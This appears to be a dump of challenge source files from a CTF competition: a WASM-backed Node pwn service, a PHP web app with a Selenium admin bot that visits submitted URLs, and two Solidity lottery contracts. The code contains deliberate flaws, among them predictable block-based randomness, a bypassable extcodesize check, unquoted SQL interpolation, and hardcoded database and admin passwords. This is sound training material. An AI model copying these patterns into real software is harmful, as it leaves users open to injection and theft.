/pwn/easywasm/attachment/index.js: -------------------------------------------------------------------------------- 1 | const Module = require('./easywasm.js'); 2 | 3 | util=require('util') 4 | const wasm = Module({wasmBinaryFile: 'easywasm.wasm'}); 5 | function to_cstr(str){ 6 | var ptr = wasm.allocate(wasm.intArrayFromString(str),'i8',wasm.ALLOC_NORMAL); 7 | return ptr; 8 | } 9 | 10 | 11 | wasm.onRuntimeInitialized = function(){ 12 | var express = require("express"); 13 | var bodyParser = require("body-parser"); 14 | var app = express(); 15 | app.use(bodyParser.urlencoded({ extended: false })); 16 | var hostName = '0.0.0.0'; 17 | var port = 23333; 18 | 19 | app.all('*', function(req, res, next) { 20 | res.header("Access-Control-Allow-Origin", "*"); 21 | res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept"); 22 | res.header("Access-Control-Allow-Methods","PUT,POST,GET,DELETE,OPTIONS"); 23 | res.header("X-Powered-By",' 3.2.1') 24 | res.header("Content-Type", "application/json;charset=utf-8"); 25 | next(); 26 | }); 27 | 28 | app.get("/add_person",function(req,res){ 29 | var name=""; 30 | var is_tutor=-1; 31 | for(var key in req.query){ 32 | if(key=='name') 33 | name=req.query[key]; 34 | if(key=='is_tutor') 35 | is_tutor=req.query[key]; 36 | 37 | } 38 | if (name!=""){ 39 | try{ 40 | result = wasm._add_person(to_cstr(name),is_tutor); 41 | } 42 | catch(e) { 43 | res.send("internal error"); 44 | return; 45 | } 46 | if (result!=-1) 47 | res.send(util.format("create person done, person id = %d",result)); 48 | else 49 | res.send("too much person"); 50 | } 51 | else 52 | res.send("name required"); 53 | }) 54 | 55 | app.get("/change_name",function(req,res){ 56 | var name=""; 57 | var id=""; 58 | for(var key in req.query){ 59 | if(key=='name') 60 | name=req.query[key]; 61 | if(key=='id') 62 | id=req.query[key]; 63 | 64 | } 65 | if (name==""){ 66 | res.send("name required"); 67 | return; 68 | } 69 | if (id==""){ 70 | res.send("id required"); 71 | return; 72 | } 73 | try{ 74 | result = wasm._change_name(id,to_cstr(name)); 75 | } 76 | catch(e) { 77 | res.send("internal error"); 78 | return; 79 | } 80 | if (result!=-1) 81 | res.send(util.format("done")); 82 | else 83 | res.send("invalid id"); 84 | 85 | 86 | }) 87 | 88 | app.get("/init",function(req,res){ 89 | var admin_key="828a69559bb02cea191845ef1f62894e"; 90 | var input_key=""; 91 | for(var key in req.query){ 92 | if(key=='admin_key') 93 | input_key=req.query[key]; 94 | 95 | } 96 | if (input_key==admin_key){ 97 | wasm._init(); 98 | res.send("init done"); 99 | } 100 | else 101 | res.send("wrong key"); 102 | }) 103 | app.get("/intro",function(req,res){ 104 | var id=""; 105 | for(var key in req.query){ 106 | if(key=='id') 107 | id=req.query[key]; 108 | } 109 | if (id==""){ 110 | res.send("invalid id"); 111 | return; 112 | } 113 | try { 114 | wasm._intro(id); 115 | res.send("intro sent to log window") 116 | } 117 | catch(e) { 118 | res.send("internal error"); 119 | return; 120 | } 121 | }) 122 | app.listen(port,hostName,function(){ 123 | 124 | console.log(`server run at http://${hostName}:${port}`); 125 | 126 | }); 127 | 128 | } 129 | -------------------------------------------------------------------------------- /pwn/easywasm/deploy/bin/index.js: -------------------------------------------------------------------------------- 1 | const Module = require('./easywasm.js'); 2 | 3 | util=require('util') 4 | const wasm = Module({wasmBinaryFile: 'easywasm.wasm'}); 5 | function to_cstr(str){ 6 | var ptr = wasm.allocate(wasm.intArrayFromString(str),'i8',wasm.ALLOC_NORMAL); 7 | return ptr; 8 | } 9 | 10 | 11 | wasm.onRuntimeInitialized = function(){ 12 | var express = require("express"); 13 | var bodyParser = require("body-parser"); 14 | var app = express(); 15 | app.use(bodyParser.urlencoded({ extended: false })); 16 | var hostName = '0.0.0.0'; 17 | var port = 23333; 18 | 19 | app.all('*', function(req, res, next) { 20 | res.header("Access-Control-Allow-Origin", "*"); 21 | res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept"); 22 | res.header("Access-Control-Allow-Methods","PUT,POST,GET,DELETE,OPTIONS"); 23 | res.header("X-Powered-By",' 3.2.1') 24 | res.header("Content-Type", "application/json;charset=utf-8"); 25 | next(); 26 | }); 27 | 28 | app.get("/add_person",function(req,res){ 29 | var name=""; 30 | var is_tutor=-1; 31 | for(var key in req.query){ 32 | if(key=='name') 33 | name=req.query[key]; 34 | if(key=='is_tutor') 35 | is_tutor=req.query[key]; 36 | 37 | } 38 | if (name!=""){ 39 | try{ 40 | result = wasm._add_person(to_cstr(name),is_tutor); 41 | } 42 | catch(e) { 43 | res.send("internal error"); 44 | return; 45 | } 46 | if (result!=-1) 47 | res.send(util.format("create person done, person id = %d",result)); 48 | else 49 | res.send("too much person"); 50 | } 51 | else 52 | res.send("name required"); 53 | }) 54 | 55 | app.get("/change_name",function(req,res){ 56 | var name=""; 57 | var id=""; 58 | for(var key in req.query){ 59 | if(key=='name') 60 | name=req.query[key]; 61 | if(key=='id') 62 | id=req.query[key]; 63 | 64 | } 65 | if (name==""){ 66 | res.send("name required"); 67 | return; 68 | } 69 | if (id==""){ 70 | res.send("id required"); 71 | return; 72 | } 73 | try{ 74 | result = wasm._change_name(id,to_cstr(name)); 75 | } 76 | catch(e) { 77 | res.send("internal error"); 78 | return; 79 | } 80 | if (result!=-1) 81 | res.send(util.format("done")); 82 | else 83 | res.send("invalid id"); 84 | 85 | 86 | }) 87 | 88 | app.get("/init",function(req,res){ 89 | var admin_key="828a69559bb02cea191845ef1f62894e"; 90 | var input_key=""; 91 | for(var key in req.query){ 92 | if(key=='admin_key') 93 | input_key=req.query[key]; 94 | 95 | } 96 | if (input_key==admin_key){ 97 | wasm._init(); 98 | res.send("init done"); 99 | } 100 | else 101 | res.send("wrong key"); 102 | }) 103 | app.get("/intro",function(req,res){ 104 | var id=""; 105 | for(var key in req.query){ 106 | if(key=='id') 107 | id=req.query[key]; 108 | } 109 | if (id==""){ 110 | res.send("invalid id"); 111 | return; 112 | } 113 | try { 114 | wasm._intro(id); 115 | res.send("intro sent to log window") 116 | } 117 | catch(e) { 118 | res.send("internal error"); 119 | return; 120 | } 121 | }) 122 | app.listen(port,hostName,function(){ 123 | 124 | console.log(`server run at http://${hostName}:${port}`); 125 | 126 | }); 127 | 128 | } 129 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/checker/checker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # -*- coding: utf-8 -*- 3 | 4 | import MySQLdb 5 | import time 6 | import selenium.webdriver 7 | from selenium.webdriver.common.desired_capabilities import DesiredCapabilities 8 | import os 9 | import re 10 | 11 | from findpremd5 import getpremd5 12 | 13 | os.environ["QT_QPA_PLATFORM"] = "offscreen" 14 | db = MySQLdb.connect('localhost', 'root', 'Bctf2o18123$%^', 'bctf2018') 15 | db.autocommit(True) 16 | query_select = 'SELECT id,message FROM `feedbacks` WHERE is_checked = 0' 17 | query_update = 'UPDATE `feedbacks` SET is_checked = 1 WHERE id = $id$' 18 | 19 | username = "admin" 20 | password = "m0xiaox1_BcTF_p@ss" 21 | user_agent = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 22 | admin_url = 'http://ctf.momomoxiaoxi.com:9999/admin/index.php' 23 | login_url = 'http://ctf.momomoxiaoxi.com:9999/login.php' 24 | driver_url = 'http://selenium-firefox:4444/wd/hub' 25 | 26 | 27 | 28 | 29 | def login(driver): 30 | driver.get(login_url) 31 | # username 32 | username_form = driver.find_element_by_xpath('//*[@id="username"]') 33 | username_form.send_keys(username) 34 | # password 35 | password_form = driver.find_element_by_xpath('//*[@id="userpwd"]') 36 | password_form.send_keys(password) 37 | # captcha 38 | captcha = driver.find_element_by_xpath('//*[@id="login_model"]/h2[3]').text 39 | captcha = captcha.split("SUBSTR(MD5($CODE),0,4) =='")[1].split("'")[0] 40 | try: 41 | answer = getpremd5(captcha) 42 | code_form = driver.find_element_by_xpath('//*[@id="code"]') 43 | code_form.send_keys(answer) 44 | except Exception as e: 45 | print("[-] code error:{}".format(e)) 46 | return login(driver) 47 | # sign in 48 | signin_button = driver.find_element_by_xpath('//*[@id="button"]') 49 | signin_button.click() 50 | if driver.find_element_by_xpath('/html/body/div[4]/div/div/div[2]/ul/li[2]/a').text=='admin': 51 | print("[+] login succ!") 52 | return driver 53 | print("[-] login error!") 54 | time.sleep(2) 55 | return login(driver) 56 | 57 | 58 | def check(url): 59 | driver = selenium.webdriver.Remote(command_executor=driver_url, desired_capabilities=DesiredCapabilities.FIREFOX) 60 | print("[+] driver init succ...") 61 | try: 62 | # driver = selenium.webdriver.Chrome() 63 | driver.implicitly_wait(10) 64 | driver = login(driver) 65 | driver.get(url) 66 | print("[+] get url:{}".format(url)) 67 | time.sleep(20) 68 | except Exception as e: 69 | print('[-] check error : %s' % e) 70 | driver.quit() 71 | 72 | while (True): 73 | cursor = db.cursor() 74 | try: 75 | cursor.execute(query_select) 76 | results = cursor.fetchall() 77 | if len(results): 78 | print("[+] New message: {}".format(results)) 79 | for row in results: 80 | print("[+] row: {}".format(row)) 81 | try: 82 | message = row[1] 83 | print("[+] message {}".format(message)) 84 | found = re.search('(?i)(http|https):\/\/([^ ]+)', message) 85 | if found: 86 | url = found.group(0) 87 | print("[+] found url: {}".format(url)) 88 | check(url) 89 | except Exception as e2: 90 | print('[-] except: %s' % e2) 91 | query = query_update.replace('$id$', str(row[0])) 92 | cursor.execute(query) 93 | db.commit() 94 | else: 95 | print("[+] waiting...") 96 | except Exception as e: 97 | print('[-] exception: %s' % e) 98 | time.sleep(1) 99 | 100 | db.close() 101 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/admin/handle_message.php: -------------------------------------------------------------------------------- 1 | '', 7 | 'error' => '' 8 | ]; 9 | 10 | if (isset($_SESSION['CSRFToken']) && isset($_POST['token']) && $_SESSION['CSRFToken'] === $_POST['token']) 11 | { 12 | if (filter_var( 13 | $_SERVER['REMOTE_ADDR'], 14 | FILTER_VALIDATE_IP, 15 | FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE 16 | )) { 17 | header('HTTP/1.0 403 Forbidden'); 18 | die('Accessible only via a local area network!'); 19 | } 20 | if (isset($_SESSION['username']) && $_SESSION['username']==='admin' ) 21 | { 22 | 23 | if (isset($_POST['action'])) 24 | { 25 | switch ($_POST['action']) 26 | { 27 | case 'view_uid': 28 | $uid = $dbc->real_escape_string($_POST['uid']); 29 | $query = "SELECT timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='{$uid}' ORDER BY id DESC "; 30 | $sql_result = $dbc->query($query); 31 | if($sql_result->num_rows ==1){ 32 | $row = $sql_result->fetch_assoc(); 33 | $result['result'] = $row; 34 | }else{ 35 | $result['error'] = "sql query error! debug info:".$query; 36 | } 37 | echo json_encode($result); 38 | break; 39 | case 'view_unreads': 40 | $status = $dbc->real_escape_string($_POST['status']); 41 | $query = "SELECT timestamp,user_name,uid,is_checked FROM feedbacks where is_checked={$status} ORDER BY id DESC limit 0,50"; 42 | $sql_result = $dbc->query($query); 43 | if($sql_result->num_rows > 0){ 44 | $row = $sql_result->fetch_all(); 45 | $result['result'] = $row; 46 | }else{ 47 | $result['error'] = "sql query error! debug info:".$query; 48 | } 49 | echo json_encode($result); 50 | break ; 51 | case 'set_reply': 52 | $reply = $dbc->real_escape_string($_POST['reply']); 53 | $uid = $dbc->real_escape_string($_POST['uid']); 54 | $query = "update feedbacks set reply='{$reply}',is_checked=1 where uid='{$uid} '"; 55 | $sql_result = $dbc->query($query); 56 | if($sql_result){ 57 | $result['result'] = "set reply succ!"; 58 | }else{ 59 | $result['error'] = "sql query error! debug info:".$query; 60 | } 61 | echo json_encode($result); 62 | break ; 63 | case 'load_all': 64 | $query = "SELECT timestamp,user_name,uid,is_checked FROM feedbacks ORDER BY id DESC limit 0,50 "; 65 | $sql_result = $dbc->query($query); 66 | if($sql_result->num_rows > 0){ 67 | $row = $sql_result->fetch_all(); 68 | $result['result'] = $row; 69 | }else{ 70 | $result['error'] = "sql query error! debug info:".$query; 71 | } 72 | echo json_encode($result); 73 | break ; 74 | default: 75 | $result['error'] = 'undefined action'; 76 | echo json_encode($result); 77 | break; 78 | } 79 | } 80 | } 81 | else 82 | { 83 | $result['error'] = 'not authorized'; 84 | echo json_encode($result); 85 | } 86 | } 87 | else 88 | { 89 | $result['error'] = "CSRFToken '".$_POST['token']."'is not correct"; 90 | echo json_encode($result); 91 | } 92 | ?> 93 | -------------------------------------------------------------------------------- /blockchain/Fake3D/src/Fake3D.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | /** 4 | * @title SafeMath 5 | * @dev Math operations with safety checks that revert on error 6 | */ 7 | library SafeMath { 8 | 9 | /** 10 | * @dev Multiplies two numbers, reverts on overflow. 11 | */ 12 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 13 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 14 | // benefit is lost if 'b' is also tested. 15 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 16 | if (a == 0) { 17 | return 0; 18 | } 19 | 20 | uint256 c = a * b; 21 | require(c / a == b); 22 | 23 | return c; 24 | } 25 | 26 | /** 27 | * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. 28 | */ 29 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 30 | require(b > 0); // Solidity only automatically asserts when dividing by 0 31 | uint256 c = a / b; 32 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 33 | 34 | return c; 35 | } 36 | 37 | /** 38 | * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). 39 | */ 40 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 41 | require(b <= a); 42 | uint256 c = a - b; 43 | 44 | return c; 45 | } 46 | 47 | /** 48 | * @dev Adds two numbers, reverts on overflow. 49 | */ 50 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 51 | uint256 c = a + b; 52 | require(c >= a); 53 | 54 | return c; 55 | } 56 | 57 | /** 58 | * @dev Divides two numbers and returns the remainder (unsigned integer modulo), 59 | * reverts when dividing by zero. 60 | */ 61 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 62 | require(b != 0); 63 | return a % b; 64 | } 65 | } 66 | 67 | contract WinnerList{ 68 | address owner; 69 | struct Richman{ 70 | address who; 71 | uint balance; 72 | } 73 | 74 | function note(address _addr, uint _value) public{ 75 | Richman rm; 76 | rm.who = _addr; 77 | rm.balance = _value; 78 | } 79 | 80 | } 81 | 82 | contract Fake3D { 83 | using SafeMath for *; 84 | mapping(address => uint256) public balance; 85 | uint public totalSupply = 10**18; 86 | WinnerList wlist; 87 | 88 | event FLAG(string b64email, string slogan); 89 | 90 | constructor(address _addr) public{ 91 | wlist = WinnerList(_addr); 92 | } 93 | 94 | modifier turingTest() { 95 | address _addr = msg.sender; 96 | uint256 _codeLength; 97 | assembly {_codeLength := extcodesize(_addr)} 98 | require(_codeLength == 0, "sorry humans only"); 99 | _; 100 | } 101 | 102 | function transfer(address _to, uint256 _amount) public{ 103 | require(balance[msg.sender] >= _amount); 104 | balance[msg.sender] = balance[msg.sender].sub(_amount); 105 | balance[_to] = balance[_to].add(_amount); 106 | } 107 | 108 | 109 | function airDrop() public turingTest returns (bool) { 110 | uint256 seed = uint256(keccak256(abi.encodePacked( 111 | (block.timestamp).add 112 | (block.difficulty).add 113 | ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add 114 | (block.gaslimit).add 115 | ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add 116 | (block.number) 117 | ))); 118 | 119 | if((seed - ((seed / 1000) * 1000)) < 288){ 120 | balance[tx.origin] = balance[tx.origin].add(10); 121 | totalSupply = totalSupply.sub(10); 122 | return true; 123 | } 124 | else 125 | return false; 126 | } 127 | 128 | function CaptureTheFlag(string b64email) public{ 129 | require (balance[msg.sender] > 5888); 130 | wlist.note(msg.sender,balance[msg.sender]); 131 | emit FLAG(b64email, "Congratulations to capture the flag?"); 132 | } 133 | 134 | } 135 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/css/flexslider.css: -------------------------------------------------------------------------------- 1 | /* 2 | * jQuery FlexSlider v2.0 3 | * http://www.woothemes.com/flexslider/ 4 | * 5 | * Copyright 2012 WooThemes 6 | * Free to use under the GPLv2 license. 7 | * http://www.gnu.org/licenses/gpl-2.0.html 8 | * 9 | * Contributing author: Tyler Smith (@mbmufffin) 10 | */ 11 | /* Browser Resets */ 12 | .flex-container a:active, 13 | .flexslider a:active, 14 | .flex-container a:focus, 15 | .flexslider a:focus {outline: none;} 16 | .slides, 17 | .flex-control-nav, 18 | .flex-direction-nav {margin: 0; padding: 0; list-style: none;} 19 | 20 | /* FlexSlider Necessary Styles 21 | *********************************/ 22 | .flexslider .slides > li {display: none; -webkit-backface-visibility: hidden;} /* Hide the slides before the JS is loaded. Avoids image jumping */ 23 | .flexslider .slides img {width: 100%; display: block;} 24 | .flex-pauseplay span {text-transform: capitalize;} 25 | 26 | /* Clearfix for the .slides element */ 27 | .slides:after {content: "."; display: block; clear: both; visibility: hidden; line-height: 0; height: 0;} 28 | html[xmlns] .slides {display: block;} 29 | * html .slides {height: 1%;} 30 | 31 | /* No JavaScript Fallback */ 32 | /* If you are not using another script, such as Modernizr, make sure you 33 | * include js that eliminates this class on page load */ 34 | .no-js .slides > li:first-child {display: block;} 35 | 36 | 37 | /* FlexSlider Default Theme 38 | *********************************/ 39 | .flexslider { 40 | border: 0px; 41 | position: relative; 42 | zoom: 1; 43 | } 44 | .flex-viewport {max-height: 2000px; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; transition: all 1s ease;} 45 | .loading .flex-viewport {max-height: 300px;} 46 | .flexslider .slides {zoom: 1;} 47 | 48 | .carousel li {margin-right: 5px} 49 | 50 | 51 | /* Direction Nav */ 52 | .flex-direction-nav {*height: 0;} 53 | .flex-direction-nav a {width: 30px; height: 40px; margin: -20px 0 0; display: block; position: absolute; top: 55%; z-index: 10; cursor: pointer; text-indent: -9999px; opacity: 0; -webkit-transition: all .3s ease;} 54 | .flex-direction-nav .flex-next { left: -36px;} 55 | .flex-direction-nav .flex-prev {left: -36px;} 56 | .flexslider:hover .flex-next {opacity: 0.8; right: 5px;} 57 | .flexslider:hover .flex-prev {opacity: 0.8; left: 5px;} 58 | .flexslider:hover .flex-next:hover, .flexslider:hover .flex-prev:hover {opacity: 1;} 59 | .flex-direction-nav .flex-disabled {opacity: .3!important; filter:alpha(opacity=30); cursor: default;} 60 | /* Control Nav */ 61 | .flex-control-nav { 62 | position: absolute; 63 | left: 47.3%; 64 | margin-left: 0px; 65 | top: 122%; 66 | display: none; 67 | } 68 | .flex-control-nav li {margin: 0 6px; display: inline-block; zoom: 1; *display: inline;} 69 | .flex-control-paging li a { 70 | width: 10px; 71 | height: 10px; 72 | display: block; 73 | background: #45AED6; 74 | cursor: pointer; 75 | text-indent: -9999px; 76 | border-radius: 10px; 77 | } 78 | .flex-control-paging li a.flex-active { background:#F26F62; cursor: default;} 79 | .flex-control-thumbs {margin: 5px 0 0; position: static; overflow: hidden;} 80 | .flex-control-thumbs li {width: 25%; float: left; margin: 0;} 81 | .flex-control-thumbs img {width: 100%; display: block; opacity: .7; cursor: pointer;} 82 | .flex-control-thumbs img:hover {opacity: 1;} 83 | .flex-control-thumbs .flex-active {opacity: 1; cursor: default;} 84 | 85 | @media screen and (max-width: 768px) { 86 | .flex-control-nav { 87 | top: 110%; 88 | } 89 | } 90 | @media screen and (max-width: 640px) { 91 | } 92 | @media screen and (max-width: 480px) { 93 | section.slider { 94 | padding-top: 0%; 95 | } 96 | .flexslider { 97 | padding: 0px 0px; 98 | } 99 | .flex-control-paging li a { 100 | width: 10px; 101 | height: 10px; 102 | } 103 | .flex-control-nav { 104 | top: 113%; 105 | left: 43.3%; 106 | } 107 | } 108 | @media screen and (max-width: 320px) { 109 | section.slider { 110 | padding-top: 0%; 111 | } 112 | .flex-direction-nav a { 113 | top: 63%; 114 | } 115 | .flex-control-nav { 116 | top: 105%; 117 | left: 37.3%; 118 | } 119 | } -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/header.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | Home 9 | 10 | 11 | 12 | 14 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 40 | 43 | 44 | 45 | 46 | 47 |
48 | 49 | 52 |
53 |
    54 | " . $_SESSION['username'] . ""; 57 | echo "
  • Exit
  • "; 58 | 59 | } else { 60 | echo "
  • Login
  • 61 |
  • Register
  • "; 62 | } 63 | ?> 64 | 65 |
66 |
67 |
68 |
69 |
70 |
71 | 99 |
100 |
101 | 102 | -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/JQuery.cookie.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Cookie plugin 3 | * 4 | * Copyright (c) 2006 Klaus Hartl (stilbuero.de) 5 | * Dual licensed under the MIT and GPL licenses: 6 | * http://www.opensource.org/licenses/mit-license.php 7 | * http://www.gnu.org/licenses/gpl.html 8 | * 9 | */ 10 | 11 | /** 12 | * Create a cookie with the given name and value and other optional parameters. 13 | * 14 | * @example $.cookie('the_cookie', 'the_value'); 15 | * @desc Set the value of a cookie. 16 | * @example $.cookie('the_cookie', 'the_value', {expires: 7, path: '/', domain: 'jquery.com', secure: true}); 17 | * @desc Create a cookie with all available options. 18 | * @example $.cookie('the_cookie', 'the_value'); 19 | * @desc Create a session cookie. 20 | * @example $.cookie('the_cookie', null); 21 | * @desc Delete a cookie by passing null as value. 22 | * 23 | * @param String name The name of the cookie. 24 | * @param String value The value of the cookie. 25 | * @param Object options An object literal containing key/value pairs to provide optional cookie attributes. 26 | * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object. 27 | * If a negative value is specified (e.g. a date in the past), the cookie will be deleted. 28 | * If set to null or omitted, the cookie will be a session cookie and will not be retained 29 | * when the the browser exits. 30 | * @option String path The value of the path atribute of the cookie (default: path of page that created the cookie). 31 | * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie). 32 | * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will 33 | * require a secure protocol (like HTTPS). 34 | * @type undefined 35 | * 36 | * @name $.cookie 37 | * @cat Plugins/Cookie 38 | * @author Klaus Hartl/klaus.hartl@stilbuero.de 39 | */ 40 | 41 | /** 42 | * Get the value of a cookie with the given name. 43 | * 44 | * @example $.cookie('the_cookie'); 45 | * @desc Get the value of a cookie. 46 | * 47 | * @param String name The name of the cookie. 48 | * @return The value of the cookie. 49 | * @type String 50 | * 51 | * @name $.cookie 52 | * @cat Plugins/Cookie 53 | * @author Klaus Hartl/klaus.hartl@stilbuero.de 54 | */ 55 | jQuery.cookie = function(name, value, options) { 56 | if (typeof value != 'undefined') { // name and value given, set cookie 57 | options = options || {}; 58 | if (value === null) { 59 | value = ''; 60 | options.expires = -1; 61 | } 62 | var expires = ''; 63 | if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) { 64 | var date; 65 | if (typeof options.expires == 'number') { 66 | date = new Date(); 67 | date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000)); 68 | } else { 69 | date = options.expires; 70 | } 71 | expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE 72 | } 73 | var path = options.path ? '; path=' + options.path : ''; 74 | var domain = options.domain ? '; domain=' + options.domain : ''; 75 | var secure = options.secure ? '; secure' : ''; 76 | document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join(''); 77 | } else { // only name given, get cookie 78 | var cookieValue = null; 79 | if (document.cookie && document.cookie != '') { 80 | var cookies = document.cookie.split(';'); 81 | for (var i = 0; i < cookies.length; i++) { 82 | var cookie = jQuery.trim(cookies[i]); 83 | // Does this cookie string begin with the name we want? 84 | if (cookie.substring(0, name.length + 1) == (name + '=')) { 85 | cookieValue = decodeURIComponent(cookie.substring(name.length + 1)); 86 | break; 87 | } 88 | } 89 | } 90 | return cookieValue; 91 | } 92 | }; -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/register.php: -------------------------------------------------------------------------------- 1 | real_escape_string($_POST['username'])); 9 | $pass = htmlentities($dbc->real_escape_string($_POST['password'])); 10 | $query = "select * from admin where user_name='{$user}'"; 11 | $data = mysqli_query($dbc, $query); 12 | if(mysqli_num_rows($data) >=1){ 13 | echo ""; 15 | }else{ 16 | $query = "insert into admin(user_name,user_pass) VALUES('{$user}','{$pass}') "; 17 | if(mysqli_query($dbc, $query)){ 18 | echo "";; 20 | }{ 21 | echo ""; 23 | } 24 | } 25 | } 26 | }else{ 27 | echo ""; 29 | } 30 | } 31 | ?> 32 | 34 | 35 | 36 | 37 | 38 | Login 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 51 | 52 | 53 | 54 | 95 |

96 |

More Templates - Collect from

97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /blockchain/EOSGame/src/EOSGame.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.24; 2 | 3 | /** 4 | * @title SafeMath 5 | * @dev Math operations with safety checks that revert on error 6 | */ 7 | library SafeMath { 8 | 9 | /** 10 | * @dev Multiplies two numbers, reverts on overflow. 11 | */ 12 | function mul(uint256 a, uint256 b) internal pure returns (uint256) { 13 | // Gas optimization: this is cheaper than requiring 'a' not being zero, but the 14 | // benefit is lost if 'b' is also tested. 15 | // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 16 | if (a == 0) { 17 | return 0; 18 | } 19 | 20 | uint256 c = a * b; 21 | require(c / a == b); 22 | 23 | return c; 24 | } 25 | 26 | /** 27 | * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. 28 | */ 29 | function div(uint256 a, uint256 b) internal pure returns (uint256) { 30 | require(b > 0); // Solidity only automatically asserts when dividing by 0 31 | uint256 c = a / b; 32 | // assert(a == b * c + a % b); // There is no case in which this doesn't hold 33 | 34 | return c; 35 | } 36 | 37 | /** 38 | * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). 39 | */ 40 | function sub(uint256 a, uint256 b) internal pure returns (uint256) { 41 | require(b <= a); 42 | uint256 c = a - b; 43 | 44 | return c; 45 | } 46 | 47 | /** 48 | * @dev Adds two numbers, reverts on overflow. 49 | */ 50 | function add(uint256 a, uint256 b) internal pure returns (uint256) { 51 | uint256 c = a + b; 52 | require(c >= a); 53 | 54 | return c; 55 | } 56 | 57 | /** 58 | * @dev Divides two numbers and returns the remainder (unsigned integer modulo), 59 | * reverts when dividing by zero. 60 | */ 61 | function mod(uint256 a, uint256 b) internal pure returns (uint256) { 62 | require(b != 0); 63 | return a % b; 64 | } 65 | } 66 | 67 | contract EOSToken{ 68 | using SafeMath for uint256; 69 | string TokenName = "EOS"; 70 | 71 | uint256 totalSupply = 100**18; 72 | address owner; 73 | mapping(address => uint256) balances; 74 | 75 | modifier onlyOwner() { 76 | require(msg.sender == owner); 77 | _; 78 | } 79 | 80 | constructor() public{ 81 | owner = msg.sender; 82 | balances[owner] = totalSupply; 83 | } 84 | 85 | function mint(address _to,uint256 _amount) public onlyOwner { 86 | require(_amount < totalSupply); 87 | totalSupply = totalSupply.sub(_amount); 88 | balances[_to] = balances[_to].add(_amount); 89 | } 90 | 91 | function transfer(address _from, address _to, uint256 _amount) public onlyOwner { 92 | require(_amount < balances[_from]); 93 | balances[_from] = balances[_from].sub(_amount); 94 | balances[_to] = balances[_to].add(_amount); 95 | } 96 | 97 | function eosOf(address _who) public constant returns(uint256){ 98 | return balances[_who]; 99 | } 100 | } 101 | 102 | 103 | contract EOSGame{ 104 | 105 | using SafeMath for uint256; 106 | mapping(address => uint256) public bet_count; 107 | uint256 FUND = 100; 108 | uint256 MOD_NUM = 20; 109 | uint256 POWER = 100; 110 | uint256 SMALL_CHIP = 1; 111 | uint256 BIG_CHIP = 20; 112 | EOSToken eos; 113 | 114 | event FLAG(string b64email, string slogan); 115 | 116 | constructor() public{ 117 | eos=new EOSToken(); 118 | } 119 | 120 | function initFund() public{ 121 | if(bet_count[tx.origin] == 0){ 122 | bet_count[tx.origin] = 1; 123 | eos.mint(tx.origin, FUND); 124 | } 125 | } 126 | 127 | function bet(uint256 chip) internal { 128 | bet_count[tx.origin] = bet_count[tx.origin].add(1); 129 | uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp))); 130 | uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed))); 131 | uint256 shark = seed_hash % MOD_NUM; 132 | uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin]))); 133 | uint256 lucky = lucky_hash % MOD_NUM; 134 | if (shark == lucky){ 135 | eos.transfer(address(this), tx.origin, chip.mul(POWER)); 136 | } 137 | } 138 | 139 | function smallBlind() public { 140 | eos.transfer(tx.origin, address(this), SMALL_CHIP); 141 | bet(SMALL_CHIP); 142 | } 143 | 144 | function bigBlind() public { 145 | eos.transfer(tx.origin, address(this), BIG_CHIP); 146 | bet(BIG_CHIP); 147 | } 148 | 149 | function eosBlanceOf() public view returns(uint256) { 150 | return eos.eosOf(tx.origin); 151 | } 152 | 153 | function CaptureTheFlag(string b64email) public{ 154 | require (eos.eosOf(tx.origin) > 18888); 155 | emit FLAG(b64email, "Congratulations to capture the flag!"); 156 | } 157 | } -------------------------------------------------------------------------------- /web/Seafaring/dockers/www/Wopop_files/login.js: -------------------------------------------------------------------------------- 1 | $(function () { 2 | 3 | $('#button,#Retrievenow,#denglou').css('opacity', 0.7).hover(function () { 4 | $(this).stop().fadeTo(650, 